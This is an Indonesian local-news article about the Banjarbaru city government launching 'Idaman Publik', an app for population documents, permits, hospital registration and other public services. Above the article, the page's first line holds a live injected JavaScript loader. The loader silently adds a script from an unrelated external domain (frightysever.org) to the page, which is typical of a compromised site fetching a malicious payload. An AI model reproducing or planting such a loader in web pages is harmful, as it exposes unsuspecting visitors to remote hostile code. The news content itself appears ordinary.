(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru resmi meluncurkan aplikasi pelayanan masyarakat bernama Idaman Publik. Program layanan inovasi yang digagas Wali Kota Banjarbaru, H.M. Aditya Mufti Ariffin dalam menerapkan Sistem Pemerintahan Berbasis Elektronik (SPBE) di Ibu Kota Kalimantan Selatan.
Dikelola secara langsung oleh Dinas Komunikasi dan Informatika (Diskominfo) dan berkolaborasi dengan seluruh SKPD yang ada di Kota Banjarbaru, aplikasi Idaman Publik kini telah tersedia di Play Store dan dapat diunduh oleh pengguna android secara gratis.
Wali Kota Banjarbaru mengungkapkan aplikasi Idaman Publik dapat memberikan banyak manfaat bagi masyarakat maupun di lingkungan Pemko Banjarbaru sendiri. Seperti halnya efisiensi dalam penyediaan layanan publik, transparansi dan aksesbilitas yang lebih baik.
Baca juga: “South Borneo Expo 2023” Promosi UMKM, Investasi dan Pariwisata Kalsel di Surabaya
“Langkah ini juga sekaligus mendukung transformasi digital dan pemberdayaan masyarakat dalam menggunakan teknologi informasi untuk kepentingan pribadi maupun bersama,” ucap Aditya, Minggu (8/10/2023).
Menilik fitur-fitur yang tersedia di aplikasi Idaman Publik, masyarakat dapat dengan mudah mengurus berbagai dokumen Kependudukan, perizinan hingga pendaftaran berobat di Rumah Sakit Daerah (RSD) Idaman Kota Banjarbaru.
Tak hanya itu, aplikasi ini juga dilengkapi dengan fitur pemantauan kualitas udara, CCTV, informasi harga pangan terkini, layanan sosial serta layanan laporan dan pengaduan di Kota Banjarbaru.
Baca juga: Anggota DPRD Kapuas Beri Bantuan kepada Korban Kebakaran
Diakui Aditya, masih banyak fitur lainnya yang akan terus dikembangkan di aplikasi Idaman Publik. Sehingga diharapkan kedepannya aplikasi ini dapat mencangkup dan memenuhi seluruh kebutuhan masyarakat.
“Saya telah meminta Diskominfo Kota Banjarbaru untuk terus mengembangkan aplikasi ini. Segala kebutuhan masyarakat yang berkaitan dengan pelayanan publik di lingkup Pemko Banjarbaru untuk disediakan semua disini,” kata Wali Kota.
Selain itu dijelaskan Aditya, penerapan SPBE di Kota Banjarbaru merupakan kunci untuk mempercepat kinerja birokrasi yang berdampak. Khususnya pada era globalisasi dimana Pemko Banjarbaru harus melek teknologi agar bisa beradaptasi dengan perkembangan zaman dan terwujudnya pemerintahan dengan tata Kelola yang baik. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.